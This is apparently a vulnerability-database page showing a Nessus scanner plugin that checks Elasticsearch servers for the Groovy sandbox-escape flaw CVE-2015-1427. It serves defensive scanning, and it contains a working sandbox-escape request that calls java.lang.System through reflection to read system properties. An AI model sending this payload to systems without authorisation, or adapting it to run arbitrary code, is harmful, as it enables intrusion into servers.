Lucene search

K
nessusThis script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.ELASTICSEARCH_RCE_CVE-2015-1427.NASL
HistoryMar 13, 2015 - 12:00 a.m.

Elasticsearch Groovy Script RCE

2015-03-1300:00:00
This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
474

The Elasticsearch application hosted on the remote web server is affected by a remote code execution vulnerability due to unspecified flaws in the Groovy script engine. A remote unauthenticated attacker, using a specially crafted request, can escape the sandbox and execute arbitrary Java code. A successful attack could allow the user to gain a remote shell or manipulate files on the remote system.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(81816);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");

  script_cve_id("CVE-2015-1427");
  script_bugtraq_id(72585);
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");

  script_name(english:"Elasticsearch Groovy Script RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a Java application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Elasticsearch application hosted on the remote web server is
affected by a remote code execution vulnerability due to unspecified
flaws in the Groovy script engine. A remote unauthenticated attacker, 
using a specially crafted request, can escape the sandbox and execute 
arbitrary Java code. A successful attack  could allow the user to 
gain a remote shell or manipulate files on the remote system.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2015/Feb/92");
  script_set_attribute(attribute:"see_also", value:"https://github.com/elastic/elasticsearch/issues/9655");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.3.8 / 1.4.3 or later, or disable scripting.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1427");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Search Groovy Sandbox Bypass');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/12/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/02/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:elasticsearch:elasticsearch");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("elasticsearch_detect.nbin");
  script_require_keys("installed_sw/Elasticsearch");
  script_require_ports("Services/www", 9200);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

app = "Elasticsearch";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:9200);

install = get_single_install(
  app_name            : app,
  port                : port
);

dir  = install['path'];
url  = build_url(qs:dir, port:port);
vuln = FALSE;

data = '{
  "size": 1,
  "query": {
    "match_all": {}
  },
  "script_fields": {
    "myscript": {
      "script": "java.lang.Math.class.forName(\\"java.lang.System\\").getProperties()"
    }
  }
}';

res = http_send_recv3(
  method:'POST',
  port:port,
  item:dir+"_search?pretty",
  content_type:'application/json',
  data:data,
  exit_on_fail:TRUE
);

vuln = (
  "200 OK"                           >< res[0] &&
  "java.specification.version"       >< res[2] &&
  "java.version"                     >< res[2]
);

if (!vuln) 
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);

attack = build_url(qs:attack, port:port);
security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  cmd        : "System.getProperties()",
  output     : res[2],
  line_limit : 25,
  request    : make_list(attack)
);
VendorProductVersionCPE
elasticsearchelasticsearchcpe:/a:elasticsearch:elasticsearch